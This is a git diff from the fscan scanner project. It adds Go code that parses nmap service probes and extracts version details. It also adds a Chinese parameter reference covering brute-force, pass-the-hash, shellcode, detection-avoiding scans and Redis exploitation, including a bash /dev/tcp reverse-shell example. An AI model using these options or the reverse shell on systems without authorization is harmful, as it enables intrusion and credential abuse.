|
||||||
|
|
||||||
|
// 解析端口配置
|
||||||
|
func (p *Probe) parsePorts(data string) {
|
||||||
|
p.Ports = data[len("ports")+1:]
|
||||||
|
common.LogDebug("解析端口: " + p.Ports)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解析SSL端口配置
|
||||||
|
func (p *Probe) parseSSLPorts(data string) {
|
||||||
|
p.SSLPorts = data[len("sslports")+1:]
|
||||||
|
common.LogDebug("解析SSL端口: " + p.SSLPorts)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解析总等待时间
|
||||||
|
func (p *Probe) parseTotalWaitMS(data string) {
|
||||||
|
waitMS, err := strconv.Atoi(strings.TrimSpace(data[len("totalwaitms")+1:]))
|
||||||
|
if err != nil {
|
||||||
|
common.LogDebug("解析总等待时间失败: " + err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
p.TotalWaitMS = waitMS
|
||||||
|
common.LogDebug(fmt.Sprintf("总等待时间: %d ms", waitMS))
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解析TCP包装等待时间
|
||||||
|
func (p *Probe) parseTCPWrappedMS(data string) {
|
||||||
|
wrappedMS, err := strconv.Atoi(strings.TrimSpace(data[len("tcpwrappedms")+1:]))
|
||||||
|
if err != nil {
|
||||||
|
common.LogDebug("解析TCP包装等待时间失败: " + err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
p.TCPWrappedMS = wrappedMS
|
||||||
|
common.LogDebug(fmt.Sprintf("TCP包装等待时间: %d ms", wrappedMS))
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解析稀有度
|
||||||
|
func (p *Probe) parseRarity(data string) {
|
||||||
|
rarity, err := strconv.Atoi(strings.TrimSpace(data[len("rarity")+1:]))
|
||||||
|
if err != nil {
|
||||||
|
common.LogDebug("解析稀有度失败: " + err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
p.Rarity = rarity
|
||||||
|
common.LogDebug(fmt.Sprintf("稀有度: %d", rarity))
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解析回退配置
|
||||||
|
func (p *Probe) parseFallback(data string) {
|
||||||
|
p.Fallback = data[len("fallback")+1:]
|
||||||
|
common.LogDebug("回退配置: " + p.Fallback)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 从内容解析探测器规则
|
||||||
|
func (v *VScan) parseProbesFromContent(content string) {
|
||||||
|
common.LogDebug("开始解析探测器规则文件内容")
|
||||||
|
var probes []Probe
|
||||||
|
var lines []string
|
||||||
|
|
||||||
|
// 过滤注释和空行
|
||||||
|
linesTemp := strings.Split(content, "\n")
|
||||||
|
for _, lineTemp := range linesTemp {
|
||||||
|
lineTemp = strings.TrimSpace(lineTemp)
|
||||||
|
if lineTemp == "" || strings.HasPrefix(lineTemp, "#") {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
lines = append(lines, lineTemp)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 验证文件内容
|
||||||
|
if len(lines) == 0 {
|
||||||
|
errMsg := "读取nmap-service-probes文件失败: 内容为空"
|
||||||
|
common.LogDebug("错误: " + errMsg)
|
||||||
|
panic(errMsg)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检查Exclude指令
|
||||||
|
excludeCount := 0
|
||||||
|
for _, line := range lines {
|
||||||
|
if strings.HasPrefix(line, "Exclude ") {
|
||||||
|
excludeCount++
|
||||||
|
}
|
||||||
|
if excludeCount > 1 {
|
||||||
|
errMsg := "nmap-service-probes文件中只允许有一个Exclude指令"
|
||||||
|
common.LogDebug("错误: " + errMsg)
|
||||||
|
panic(errMsg)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 验证第一行格式
|
||||||
|
firstLine := lines[0]
|
||||||
|
if !(strings.HasPrefix(firstLine, "Exclude ") || strings.HasPrefix(firstLine, "Probe ")) {
|
||||||
|
errMsg := "解析错误: 首行必须以\"Probe \"或\"Exclude \"开头"
|
||||||
|
common.LogDebug("错误: " + errMsg)
|
||||||
|
panic(errMsg)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 处理Exclude指令
|
||||||
|
if excludeCount == 1 {
|
||||||
|
v.Exclude = firstLine[len("Exclude")+1:]
|
||||||
|
lines = lines[1:]
|
||||||
|
common.LogDebug("解析到Exclude规则: " + v.Exclude)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 合并内容并分割探测器
|
||||||
|
content = "\n" + strings.Join(lines, "\n")
|
||||||
|
probeParts := strings.Split(content, "\nProbe")[1:]
|
||||||
|
|
||||||
|
// 解析每个探测器
|
||||||
|
for _, probePart := range probeParts {
|
||||||
|
probe := Probe{}
|
||||||
|
if err := probe.fromString(probePart); err != nil {
|
||||||
|
common.LogDebug(fmt.Sprintf("解析探测器失败: %v", err))
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
probes = append(probes, probe)
|
||||||
|
}
|
||||||
|
|
||||||
|
v.AllProbes = probes
|
||||||
|
common.LogDebug(fmt.Sprintf("成功解析 %d 个探测器规则", len(probes)))
|
||||||
|
}
|
||||||
|
|
||||||
|
// 将探测器转换为名称映射
|
||||||
|
func (v *VScan) parseProbesToMapKName() {
|
||||||
|
common.LogDebug("开始构建探测器名称映射")
|
||||||
|
v.ProbesMapKName = map[string]Probe{}
|
||||||
|
for _, probe := range v.AllProbes {
|
||||||
|
v.ProbesMapKName[probe.Name] = probe
|
||||||
|
common.LogDebug("添加探测器映射: " + probe.Name)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 设置使用的探测器
|
||||||
|
func (v *VScan) SetusedProbes() {
|
||||||
|
common.LogDebug("开始设置要使用的探测器")
|
||||||
|
|
||||||
|
for _, probe := range v.AllProbes {
|
||||||
|
if strings.ToLower(probe.Protocol) == "tcp" {
|
||||||
|
if probe.Name == "SSLSessionReq" {
|
||||||
|
common.LogDebug("跳过 SSLSessionReq 探测器")
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
v.Probes = append(v.Probes, probe)
|
||||||
|
common.LogDebug("添加TCP探测器: " + probe.Name)
|
||||||
|
|
||||||
|
// 特殊处理TLS会话请求
|
||||||
|
if probe.Name == "TLSSessionReq" {
|
||||||
|
sslProbe := v.ProbesMapKName["SSLSessionReq"]
|
||||||
|
v.Probes = append(v.Probes, sslProbe)
|
||||||
|
common.LogDebug("为TLSSessionReq添加SSL探测器")
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
v.UdpProbes = append(v.UdpProbes, probe)
|
||||||
|
common.LogDebug("添加UDP探测器: " + probe.Name)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
common.LogDebug(fmt.Sprintf("探测器设置完成,TCP: %d个, UDP: %d个",
|
||||||
|
len(v.Probes), len(v.UdpProbes)))
|
||||||
|
}
|
71
Core/portfinger/scanner_core.go
Normal file
71
Core/portfinger/scanner_core.go
Normal file
@ -0,0 +1,71 @@
|
|||||||
|
package portfinger
|
||||||
|
|
||||||
|
import (
|
||||||
|
_ "embed"
|
||||||
|
"fmt"
|
||||||
|
|
||||||
|
"github.com/shadow1ng/fscan/common"
|
||||||
|
)
|
||||||
|
|
||||||
|
//go:embed nmap-service-probes.txt
|
||||||
|
var ProbeString string
|
||||||
|
|
||||||
|
var v VScan
|
||||||
|
var null *Probe
|
||||||
|
var commonProbe *Probe
|
||||||
|
|
||||||
|
// Init 初始化VScan对象
|
||||||
|
func (vs *VScan) Init() {
|
||||||
|
common.LogDebug("开始初始化VScan")
|
||||||
|
vs.parseProbesFromContent(ProbeString)
|
||||||
|
vs.parseProbesToMapKName()
|
||||||
|
vs.SetusedProbes()
|
||||||
|
common.LogDebug("VScan初始化完成")
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// InitializeGlobalVScan 初始化全局VScan实例
|
||||||
|
func InitializeGlobalVScan() {
|
||||||
|
common.LogDebug("开始初始化全局变量")
|
||||||
|
|
||||||
|
v = VScan{}
|
||||||
|
v.Init()
|
||||||
|
|
||||||
|
// 获取并检查 NULL 探测器
|
||||||
|
if nullProbe, ok := v.ProbesMapKName["NULL"]; ok {
|
||||||
|
common.LogDebug(fmt.Sprintf("成功获取NULL探测器,Data长度: %d", len(nullProbe.Data)))
|
||||||
|
null = &nullProbe
|
||||||
|
} else {
|
||||||
|
common.LogDebug("警告: 未找到NULL探测器")
|
||||||
|
}
|
||||||
|
|
||||||
|
// 获取并检查 GenericLines 探测器
|
||||||
|
if genericProbe, ok := v.ProbesMapKName["GenericLines"]; ok {
|
||||||
|
common.LogDebug(fmt.Sprintf("成功获取GenericLines探测器,Data长度: %d", len(genericProbe.Data)))
|
||||||
|
commonProbe = &genericProbe
|
||||||
|
} else {
|
||||||
|
common.LogDebug("警告: 未找到GenericLines探测器")
|
||||||
|
}
|
||||||
|
|
||||||
|
common.LogDebug("全局变量初始化完成")
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetGlobalVScan 获取全局VScan实例
|
||||||
|
func GetGlobalVScan() *VScan {
|
||||||
|
return &v
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetNullProbe 获取NULL探测器
|
||||||
|
func GetNullProbe() *Probe {
|
||||||
|
return null
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetCommonProbe 获取通用探测器
|
||||||
|
func GetCommonProbe() *Probe {
|
||||||
|
return commonProbe
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
func init() {
|
||||||
|
InitializeGlobalVScan()
|
||||||
|
}
|
67
Core/portfinger/types.go
Normal file
67
Core/portfinger/types.go
Normal file
@ -0,0 +1,67 @@
|
|||||||
|
package portfinger
|
||||||
|
|
||||||
|
import (
|
||||||
|
"regexp"
|
||||||
|
)
|
||||||
|
|
||||||
|
// VScan 主扫描器结构体
|
||||||
|
type VScan struct {
|
||||||
|
Exclude string
|
||||||
|
AllProbes []Probe
|
||||||
|
UdpProbes []Probe
|
||||||
|
Probes []Probe
|
||||||
|
ProbesMapKName map[string]Probe
|
||||||
|
}
|
||||||
|
|
||||||
|
// Probe 探测器结构体
|
||||||
|
type Probe struct {
|
||||||
|
Name string // 探测器名称
|
||||||
|
Data string // 探测数据
|
||||||
|
Protocol string // 协议
|
||||||
|
Ports string // 端口范围
|
||||||
|
SSLPorts string // SSL端口范围
|
||||||
|
|
||||||
|
TotalWaitMS int // 总等待时间
|
||||||
|
TCPWrappedMS int // TCP包装等待时间
|
||||||
|
Rarity int // 稀有度
|
||||||
|
Fallback string // 回退探测器名称
|
||||||
|
|
||||||
|
Matchs *[]Match // 匹配规则列表
|
||||||
|
}
|
||||||
|
|
||||||
|
// Match 匹配规则结构体
|
||||||
|
type Match struct {
|
||||||
|
IsSoft bool // 是否为软匹配
|
||||||
|
Service string // 服务名称
|
||||||
|
Pattern string // 匹配模式
|
||||||
|
VersionInfo string // 版本信息格式
|
||||||
|
FoundItems []string // 找到的项目
|
||||||
|
PatternCompiled *regexp.Regexp // 编译后的正则表达式
|
||||||
|
}
|
||||||
|
|
||||||
|
// Directive 指令结构体
|
||||||
|
type Directive struct {
|
||||||
|
DirectiveName string
|
||||||
|
Flag string
|
||||||
|
Delimiter string
|
||||||
|
DirectiveStr string
|
||||||
|
}
|
||||||
|
|
||||||
|
// Extras 额外信息结构体
|
||||||
|
type Extras struct {
|
||||||
|
VendorProduct string
|
||||||
|
Version string
|
||||||
|
Info string
|
||||||
|
Hostname string
|
||||||
|
OperatingSystem string
|
||||||
|
DeviceType string
|
||||||
|
CPE string
|
||||||
|
}
|
||||||
|
|
||||||
|
// Target 目标结构体
|
||||||
|
type Target struct {
|
||||||
|
Host string
|
||||||
|
Port int
|
||||||
|
Timeout int
|
||||||
|
}
|
||||||
|
|
131
Core/portfinger/version_parser.go
Normal file
131
Core/portfinger/version_parser.go
Normal file
@ -0,0 +1,131 @@
|
|||||||
|
package portfinger
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"regexp"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"github.com/shadow1ng/fscan/common"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ParseVersionInfo 解析版本信息并返回额外信息结构
|
||||||
|
func (m *Match) ParseVersionInfo(response []byte) Extras {
|
||||||
|
common.LogDebug("开始解析版本信息")
|
||||||
|
var extras = Extras{}
|
||||||
|
|
||||||
|
// 确保有匹配项
|
||||||
|
if len(m.FoundItems) == 0 {
|
||||||
|
common.LogDebug("没有匹配项,无法解析版本信息")
|
||||||
|
return extras
|
||||||
|
}
|
||||||
|
|
||||||
|
// 替换版本信息中的占位符
|
||||||
|
foundItems := m.FoundItems
|
||||||
|
versionInfo := m.VersionInfo
|
||||||
|
for index, value := range foundItems {
|
||||||
|
dollarName := "$" + strconv.Itoa(index+1)
|
||||||
|
versionInfo = strings.Replace(versionInfo, dollarName, value, -1)
|
||||||
|
}
|
||||||
|
common.LogDebug("替换后的版本信息: " + versionInfo)
|
||||||
|
|
||||||
|
// 定义解析函数
|
||||||
|
parseField := func(field, pattern string) string {
|
||||||
|
patterns := []string{
|
||||||
|
pattern + `/([^/]*)/`, // 斜线分隔
|
||||||
|
pattern + `\|([^|]*)\|`, // 竖线分隔
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, p := range patterns {
|
||||||
|
if strings.Contains(versionInfo, pattern) {
|
||||||
|
regex := regexp.MustCompile(p)
|
||||||
|
if matches := regex.FindStringSubmatch(versionInfo); len(matches) > 1 {
|
||||||
|
common.LogDebug(fmt.Sprintf("解析到%s: %s", field, matches[1]))
|
||||||
|
return matches[1]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
|
// 解析各个字段
|
||||||
|
extras.VendorProduct = parseField("厂商产品", " p")
|
||||||
|
extras.Version = parseField("版本", " v")
|
||||||
|
extras.Info = parseField("信息", " i")
|
||||||
|
extras.Hostname = parseField("主机名", " h")
|
||||||
|
extras.OperatingSystem = parseField("操作系统", " o")
|
||||||
|
extras.DeviceType = parseField("设备类型", " d")
|
||||||
|
|
||||||
|
// 特殊处理CPE
|
||||||
|
if strings.Contains(versionInfo, " cpe:/") || strings.Contains(versionInfo, " cpe:|") {
|
||||||
|
cpePatterns := []string{`cpe:/([^/]*)`, `cpe:\|([^|]*)`}
|
||||||
|
for _, pattern := range cpePatterns {
|
||||||
|
regex := regexp.MustCompile(pattern)
|
||||||
|
if cpeName := regex.FindStringSubmatch(versionInfo); len(cpeName) > 0 {
|
||||||
|
if len(cpeName) > 1 {
|
||||||
|
extras.CPE = cpeName[1]
|
||||||
|
} else {
|
||||||
|
extras.CPE = cpeName[0]
|
||||||
|
}
|
||||||
|
common.LogDebug("解析到CPE: " + extras.CPE)
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return extras
|
||||||
|
}
|
||||||
|
|
||||||
|
// ToMap 将 Extras 转换为 map[string]string
|
||||||
|
func (e *Extras) ToMap() map[string]string {
|
||||||
|
common.LogDebug("开始转换Extras为Map")
|
||||||
|
result := make(map[string]string)
|
||||||
|
|
||||||
|
// 定义字段映射
|
||||||
|
fields := map[string]string{
|
||||||
|
"vendor_product": e.VendorProduct,
|
||||||
|
"version": e.Version,
|
||||||
|
"info": e.Info,
|
||||||
|
"hostname": e.Hostname,
|
||||||
|
"os": e.OperatingSystem,
|
||||||
|
"device_type": e.DeviceType,
|
||||||
|
"cpe": e.CPE,
|
||||||
|
}
|
||||||
|
|
||||||
|
// 添加非空字段到结果map
|
||||||
|
for key, value := range fields {
|
||||||
|
if value != "" {
|
||||||
|
result[key] = value
|
||||||
|
common.LogDebug(fmt.Sprintf("添加字段 %s: %s", key, value))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
common.LogDebug(fmt.Sprintf("转换完成,共有 %d 个字段", len(result)))
|
||||||
|
return result
|
||||||
|
}
|
||||||
|
|
||||||
|
// TrimBanner 清理横幅数据,移除不可打印字符
|
||||||
|
func TrimBanner(banner string) string {
|
||||||
|
// 移除开头和结尾的空白字符
|
||||||
|
banner = strings.TrimSpace(banner)
|
||||||
|
|
||||||
|
// 移除控制字符,但保留换行符和制表符
|
||||||
|
var result strings.Builder
|
||||||
|
for _, r := range banner {
|
||||||
|
if r >= 32 && r <= 126 { // 可打印ASCII字符
|
||||||
|
result.WriteRune(r)
|
||||||
|
} else if r == '\n' || r == '\t' { // 保留换行符和制表符
|
||||||
|
result.WriteRune(r)
|
||||||
|
} else {
|
||||||
|
result.WriteRune(' ') // 其他控制字符替换为空格
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 压缩多个连续空格为单个空格
|
||||||
|
resultStr := result.String()
|
||||||
|
spaceRe := regexp.MustCompile(`\s+`)
|
||||||
|
resultStr = spaceRe.ReplaceAllString(resultStr, " ")
|
||||||
|
|
||||||
|
return strings.TrimSpace(resultStr)
|
||||||
|
}
|
||||||
|
|
311
PARAMETERS.md
Normal file
311
PARAMETERS.md
Normal file
@ -0,0 +1,311 @@
|
|||||||
|
# Fscan 参数完整文档
|
||||||
|
|
||||||
|
> **版本**: 2.0.2
|
||||||
|
> **更新日期**: 2025-01-06
|
||||||
|
|
||||||
|
## 📋 目录
|
||||||
|
|
||||||
|
- [目标配置参数](#目标配置参数)
|
||||||
|
- [扫描控制参数](#扫描控制参数)
|
||||||
|
- [认证与凭据参数](#认证与凭据参数)
|
||||||
|
- [Web扫描参数](#web扫描参数)
|
||||||
|
- [POC测试参数](#poc测试参数)
|
||||||
|
- [Redis利用参数](#redis利用参数)
|
||||||
|
- [暴力破解控制参数](#暴力破解控制参数)
|
||||||
|
- [输出与显示控制参数](#输出与显示控制参数)
|
||||||
|
- [其他参数](#其他参数)
|
||||||
|
- [使用示例](#使用示例)
|
||||||
|
- [最佳实践](#最佳实践)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🎯 目标配置参数
|
||||||
|
|
||||||
|
| 参数 | 类型 | 默认值 | 描述 | 示例 |
|
||||||
|
|-----|------|-------|------|------|
|
||||||
|
| `-h` | string | - | **目标主机**: IP, IP段, 域名 | `-h 192.168.1.1` |
|
||||||
|
| `-hf` | string | - | 主机文件路径 | `-hf hosts.txt` |
|
||||||
|
| `-eh` | string | - | 排除主机列表 | `-eh 192.168.1.1,192.168.1.2` |
|
||||||
|
| `-p` | string | 常用端口 | **扫描端口**: 单个端口、范围或列表 | `-p 80,443,1-1000` |
|
||||||
|
| `-pf` | string | - | 端口文件路径 | `-pf ports.txt` |
|
||||||
|
| `-ep` | string | - | 排除端口列表 | `-ep 80,443` |
|
||||||
|
|
||||||
|
### 端口格式说明
|
||||||
|
- **单个端口**: `80`
|
||||||
|
- **端口列表**: `80,443,3389`
|
||||||
|
- **端口范围**: `1-1000`
|
||||||
|
- **组合使用**: `22,80,443,8080-8090`
|
||||||
|
- **默认端口组**: `21,22,23,80,81,110,135,139,143,389,443,445,502,873,993,995,1433,1521,3306,5432,5672,6379,7001,7687,8000,8005,8009,8080,8089,8443,9000,9042,9092,9200,10051,11211,15672,27017,61616`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## ⚙️ 扫描控制参数
|
||||||
|
|
||||||
|
| 参数 | 类型 | 默认值 | 描述 | 示例 |
|
||||||
|
|-----|------|-------|------|------|
|
||||||
|
| `-m` | string | `all` | **扫描模式**: all, portscan, tcpscan等 | `-m portscan` |
|
||||||
|
| `-t` | int | `600` | **端口扫描线程数** | `-t 1000` |
|
||||||
|
| `-time` | int | `3` | 端口扫描超时时间(秒) | `-time 5` |
|
||||||
|
| `-mt` | int | `10` | 模块线程数 | `-mt 20` |
|
||||||
|
| `-gt` | int | `180` | 全局超时时间(秒) | `-gt 300` |
|
||||||
|
| `-np` | bool | `false` | **禁用ping探测** | `-np` |
|
||||||
|
| `-fingerprint` | bool | `false` | **启用服务指纹识别** | `-fingerprint` |
|
||||||
|
| `-local` | bool | `false` | 本地扫描模式 | `-local` |
|
||||||
|
|
||||||
|
### 扫描模式说明
|
||||||
|
- **`all`** (默认): 完整扫描 (端口+服务+漏洞)
|
||||||
|
- **`portscan`**: 仅端口扫描
|
||||||
|
- **`tcpscan`**: TCP端口扫描
|
||||||
|
- **`udpscan`**: UDP端口扫描
|
||||||
|
- **`icmp`**: ICMP存活探测
|
||||||
|
- **自定义模式**: 可指定特定插件名称
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🔐 认证与凭据参数
|
||||||
|
|
||||||
|
| 参数 | 类型 | 默认值 | 描述 | 示例 |
|
||||||
|
|-----|------|-------|------|------|
|
||||||
|
| `-user` | string | - | **用户名** | `-user admin` |
|
||||||
|
| `-pwd` | string | - | **密码** | `-pwd password123` |
|
||||||
|
| `-usera` | string | - | 额外用户名列表 | `-usera "admin,root,test"` |
|
||||||
|
| `-pwda` | string | - | 额外密码列表 | `-pwda "123456,password"` |
|
||||||
|
| `-userf` | string | - | 用户名字典文件 | `-userf users.txt` |
|
||||||
|
| `-pwdf` | string | - | 密码字典文件 | `-pwdf passwords.txt` |
|
||||||
|
| `-domain` | string | - | **SMB域名** | `-domain COMPANY` |
|
||||||
|
| `-hash` | string | - | 哈希值 (用于哈希传递攻击) | `-hash ntlmhash` |
|
||||||
|
| `-hashf` | string | - | 哈希文件 | `-hashf hashes.txt` |
|
||||||
|
| `-sshkey` | string | - | **SSH私钥文件路径** | `-sshkey ~/.ssh/id_rsa` |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🌐 Web扫描参数
|
||||||
|
|
||||||
|
| 参数 | 类型 | 默认值 | 描述 | 示例 |
|
||||||
|
|-----|------|-------|------|------|
|
||||||
|
| `-u` | string | - | **目标URL** | `-u http://example.com` |
|
||||||
|
| `-uf` | string | - | URL文件 | `-uf urls.txt` |
|
||||||
|
| `-cookie` | string | - | **HTTP Cookie** | `-cookie "session=abc123"` |
|
||||||
|
| `-wt` | int | `5` | Web请求超时时间(秒) | `-wt 10` |
|
||||||
|
| `-proxy` | string | - | **HTTP代理** | `-proxy http://127.0.0.1:8080` |
|
||||||
|
| `-socks5` | string | - | **SOCKS5代理** | `-socks5 127.0.0.1:1080` |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🔍 POC测试参数
|
||||||
|
|
||||||
|
| 参数 | 类型 | 默认值 | 描述 | 示例 |
|
||||||
|
|-----|------|-------|------|------|
|
||||||
|
| `-pocname` | string | - | **指定POC名称** | `-pocname "weblogic"` |
|
||||||
|
| `-pocpath` | string | - | **自定义POC路径** | `-pocpath ./mypocs/` |
|
||||||
|
| `-nopoc` | bool | `false` | 禁用POC扫描 | `-nopoc` |
|
||||||
|
| `-full` | bool | `false` | **全量POC扫描** | `-full` |
|
||||||
|
| `-num` | int | `20` | POC并发数 | `-num 50` |
|
||||||
|
| `-dns` | bool | `false` | DNS日志记录 | `-dns` |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 📡 Redis利用参数
|
||||||
|
|
||||||
|
| 参数 | 类型 | 默认值 | 描述 | 示例 |
|
||||||
|
|-----|------|-------|------|------|
|
||||||
|
| `-rf` | string | - | **Redis公钥文件** | `-rf ~/.ssh/id_rsa.pub` |
|
||||||
|
| `-rs` | string | - | **Redis反弹Shell** | `-rs "bash -i >&/dev/tcp/ip/port 0>&1"` |
|
||||||
|
| `-noredis` | bool | `false` | 禁用Redis扫描 | `-noredis` |
|
||||||
|
| `-rwp` | string | - | Redis写入路径 | `-rwp /tmp/` |
|
||||||
|
| `-rwc` | string | - | Redis写入内容 | `-rwc "malicious content"` |
|
||||||
|
| `-rwf` | string | - | Redis写入文件 | `-rwf ./payload.txt` |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🔓 暴力破解控制参数
|
||||||
|
|
||||||
|
| 参数 | 类型 | 默认值 | 描述 | 示例 |
|
||||||
|
|-----|------|-------|------|------|
|
||||||
|
| `-nobr` | bool | `false` | **禁用暴力破解** | `-nobr` |
|
||||||
|
| `-retry` | int | `3` | 连接失败最大重试次数 | `-retry 5` |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 📤 输出与显示控制参数
|
||||||
|
|
||||||
|
| 参数 | 类型 | 默认值 | 描述 | 示例 |
|
||||||
|
|-----|------|-------|------|------|
|
||||||
|
| `-o` | string | `result.txt` | **输出文件路径** | `-o scan_results.txt` |
|
||||||
|
| `-f` | string | `txt` | **输出格式**: txt, json, csv | `-f json` |
|
||||||
|
| `-no` | bool | `false` | 禁用结果保存 | `-no` |
|
||||||
|
| `-silent` | bool | `false` | **静默模式** | `-silent` |
|
||||||
|
| `-nocolor` | bool | `false` | 禁用颜色输出 | `-nocolor` |
|
||||||
|
| `-log` | string | `BASE_INFO_SUCCESS` | **日志级别** | `-log ALL` |
|
||||||
|
| `-nopg` | bool | `false` | **禁用进度条** | `-nopg` |
|
||||||
|
|
||||||
|
### 日志级别说明
|
||||||
|
- **`ALL`**: 显示所有日志
|
||||||
|
- **`ERROR`**: 仅显示错误
|
||||||
|
- **`BASE`**: 基础信息
|
||||||
|
- **`INFO`**: 详细信息
|
||||||
|
- **`SUCCESS`**: 成功结果
|
||||||
|
- **`DEBUG`**: 调试信息
|
||||||
|
- **`BASE_INFO_SUCCESS`** (默认): 基础+信息+成功
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🔧 其他参数
|
||||||
|
|
||||||
|
| 参数 | 类型 | 默认值 | 描述 | 示例 |
|
||||||
|
|-----|------|-------|------|------|
|
||||||
|
| `-sc` | string | - | **Shellcode** (用于MS17010等) | `-sc shellcode.bin` |
|
||||||
|
| `-lang` | string | `zh` | **语言设置**: zh, en | `-lang en` |
|
||||||
|
| `-help` | bool | `false` | **显示帮助信息** | `-help` |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 💡 使用示例
|
||||||
|
|
||||||
|
### 基础扫描示例
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# 1. 基础主机扫描
|
||||||
|
fscan.exe -h 192.168.1.1
|
||||||
|
|
||||||
|
# 2. 网段扫描
|
||||||
|
fscan.exe -h 192.168.1.0/24
|
||||||
|
|
||||||
|
# 3. 指定端口扫描
|
||||||
|
fscan.exe -h 192.168.1.1 -p 80,443,8080
|
||||||
|
|
||||||
|
# 4. 端口范围扫描
|
||||||
|
fscan.exe -h 192.168.1.1 -p 1-1000
|
||||||
|
|
||||||
|
# 5. 从文件读取目标
|
||||||
|
fscan.exe -hf targets.txt -p 80,443
|
||||||
|
```
|
||||||
|
|
||||||
|
### 高级扫描示例
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# 6. 服务指纹识别
|
||||||
|
fscan.exe -h 192.168.1.1 -fingerprint
|
||||||
|
|
||||||
|
# 7. 完整扫描 (包括POC)
|
||||||
|
fscan.exe -h 192.168.1.1 -full
|
||||||
|
|
||||||
|
# 8. 静默模式扫描
|
||||||
|
fscan.exe -h 192.168.1.1 -silent -o results.json -f json
|
||||||
|
|
||||||
|
# 9. 高性能扫描
|
||||||
|
fscan.exe -h 192.168.1.0/24 -t 1000 -time 1 -np
|
||||||
|
|
||||||
|
# 10. Web应用扫描
|
||||||
|
fscan.exe -u http://example.com -full
|
||||||
|
```
|
||||||
|
|
||||||
|
### 认证扫描示例
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# 11. SMB扫描带认证
|
||||||
|
fscan.exe -h 192.168.1.1 -user administrator -pwd password -domain COMPANY
|
||||||
|
|
||||||
|
# 12. SSH密钥认证
|
||||||
|
fscan.exe -h 192.168.1.1 -sshkey ~/.ssh/id_rsa
|
||||||
|
|
||||||
|
# 13. 暴力破解扫描
|
||||||
|
fscan.exe -h 192.168.1.1 -userf users.txt -pwdf passwords.txt
|
||||||
|
|
||||||
|
# 14. 禁用暴力破解
|
||||||
|
fscan.exe -h 192.168.1.1 -nobr
|
||||||
|
```
|
||||||
|
|
||||||
|
### 特殊用途示例
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# 15. Redis利用
|
||||||
|
fscan.exe -h 192.168.1.1 -rf ~/.ssh/id_rsa.pub
|
||||||
|
|
||||||
|
# 16. 代理扫描
|
||||||
|
fscan.exe -h 192.168.1.1 -proxy http://127.0.0.1:8080
|
||||||
|
|
||||||
|
# 17. 指定POC测试
|
||||||
|
fscan.exe -h 192.168.1.1 -pocname weblogic
|
||||||
|
|
||||||
|
# 18. 仅端口扫描
|
||||||
|
fscan.exe -h 192.168.1.1 -m portscan
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 🏆 最佳实践
|
||||||
|
|
||||||
|
### 🚀 性能优化
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# 高性能内网扫描
|
||||||
|
fscan.exe -h 192.168.1.0/24 -t 1000 -time 1 -np -nobr
|
||||||
|
|
||||||
|
# 快速端口发现
|
||||||
|
fscan.exe -h target -m portscan -t 2000 -time 1
|
||||||
|
|
||||||
|
# 轻量级服务识别
|
||||||
|
fscan.exe -h target -fingerprint -nobr -nopoc
|
||||||
|
```
|
||||||
|
|
||||||
|
### 🛡️ 隐蔽扫描
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# 慢速扫描避免检测
|
||||||
|
fscan.exe -h target -t 10 -time 10 -slow
|
||||||
|
|
||||||
|
# 通过代理扫描
|
||||||
|
fscan.exe -h target -proxy http://proxy:8080 -t 50
|
||||||
|
```
|
||||||
|
|
||||||
|
### 📊 结果输出
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# JSON格式便于处理
|
||||||
|
fscan.exe -h target -f json -o results.json
|
||||||
|
|
||||||
